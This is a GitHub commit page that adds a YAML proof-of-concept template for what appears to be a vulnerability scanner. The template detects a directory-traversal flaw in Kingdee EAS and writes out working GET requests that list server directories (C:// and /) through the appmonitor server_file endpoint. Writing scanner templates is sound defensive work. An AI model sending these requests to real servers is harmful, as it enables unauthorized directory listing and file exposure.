Skip to content

Commit

Permalink
Poc yaml kingdee directory traversal (chaitin#1474)
Browse files Browse the repository at this point in the history
* Update kingdee-directory-traversal.yml

* Update and rename kingdee-directory-traversal.yml to kingdee-eas-directory-traversal.yml

Co-authored-by: smile-jpg <[email protected]>
  • Loading branch information
nu0l and smile-jpg authored Nov 9, 2021
1 parent 14983a8 commit 3018b8b
Showing 1 changed file with 21 additions and 0 deletions.
21 changes: 21 additions & 0 deletions pocs/kingdee-eas-directory-traversal.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
name: poc-yaml-kingdee-eas-directory-traversal
manual: true
transport: http
rules:
kingdee1:
request:
cache: true
method: GET
path: /appmonitor/protected/selector/server_file/files?folder=C://&suffix=
expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"Windows\",\"path\":\"C:\\\\Windows\",\"folder\":true}")
kingdee2:
request:
cache: true
method: GET
path: /appmonitor/protected/selector/server_file/files?folder=/&suffix=
expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"root\",\"path\":\"/root\",\"folder\":true}")
expression: kingdee1() || kingdee2()
detail:
author: iak3ec(https://github.com/nu0l)
links:
- https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md

0 comments on commit 3018b8b

Please sign in to comment.